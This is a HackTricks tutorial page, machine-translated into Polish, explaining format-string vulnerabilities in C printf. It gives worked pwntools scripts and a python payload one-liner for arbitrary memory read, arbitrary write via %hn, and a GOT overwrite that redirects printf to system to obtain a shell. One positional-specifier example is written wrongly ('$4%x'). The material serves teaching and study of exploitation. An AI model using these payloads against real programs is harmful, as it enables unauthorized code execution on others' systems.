hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings
2024-04-02 19:48:01 +00:00
..
format-strings-template.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:12:26 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:48:01 +00:00

Ciągi formatujące

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Podstawowe informacje

W języku C printf to funkcja, która może być używana do wyświetlania ciągu znaków. Pierwszym parametrem, którego oczekuje ta funkcja, jest surowy tekst z formatowaniem. Następne parametry, które są oczekiwane, to wartości, które mają zastąpić formatery z surowego tekstu.

Podatność pojawia się, gdy tekst atakującego jest używany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane wykorzystując możliwości ciągu formatującego printf, aby odczytać i zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu). Dzięki temu będzie mógł wykonać dowolny kod.

Formatery:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Przykłady:

  • Podatny przykład:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalne użycie:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Z Brakującymi Argumentami:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Dostęp do wskaźników

Format %<n>$x, gdzie n to liczba, pozwala wskazać funkcji printf, aby wybrała n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić:

printf("%x %x %x %x")

i odczytałbyś od pierwszego do czwartego parametru.

Albo możesz:

printf("$4%x")

i przeczytaj bezpośrednio czwarty.

Zauważ, że atakujący kontroluje parametr printf, co oznacza, że jego dane wejściowe znajdą się na stosie podczas wywołania printf, co oznacza, że może zapisywać konkretne adresy pamięci na stosie.

{% hint style="danger" %} Atakujący kontrolujący to wejście, będzie mógł dodać dowolny adres na stosie i sprawić, że printf będzie mógł się do nich odwołać. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie. {% endhint %}

Odczyt Dowolny

Możliwe jest użycie formatownika $n%s aby printf pobrał adres znajdujący się na pozycji n, a następnie wydrukował go jakby to była ciąg znaków (drukując do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to 0x8048000, a wiemy, że dane użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego za pomocą:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu. {% endhint %}

Arbitrary Write

Formatter $<num>%n zapisuje liczbę zapisanych bajtów pod wskazanym adresem w parametrze <num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie w stanie sprawić, że $<num>%n zapisze dowolną liczbę pod dowolnym adresem.

Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera %.<num-write>%<num>$n do zapisania liczby <num-write> w adresie wskazywanym przez pozycję num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jednak zauważ, że zazwyczaj aby zapisać adres tak jak 0x08049724 (co jest OGROMną liczbą do zapisania naraz), używa się $hn zamiast $n. Pozwala to zapisać tylko 2 bajty. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla dwóch najwyższych bajtów adresu i drugi raz dla dwóch najniższych.

Ta podatność pozwala zapisać cokolwiek pod dowolny adres (arbitrary write).

W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która zostanie wywołana później. Chociaż można to wykorzystać do innych technik arbitrary write to exec:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Nadpiszemy funkcję, która przyjmuje swoje argumenty od użytkownika i wskażemy ją na funkcję system.
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw zapisujesz 2 bajty adresu, a następnie pozostałe 2. Do tego używa się $hn.

  • HOB odnosi się do 2 najwyższych bajtów adresu
  • LOB odnosi się do 2 najniższych bajtów adresu

Następnie, ze względu na sposób działania formatu łańcuchów, musisz najpierw zapisać mniejszy z [HOB, LOB] a następnie drugi.

Jeśli HOB < LOB
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Jeśli HOB > LOB
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Szablon Pwntools

Możesz znaleźć szablon do przygotowania exploitu dla tego rodzaju podatności w:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Lub ten podstawowy przykład z tutaj:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Inne Przykłady i Referencje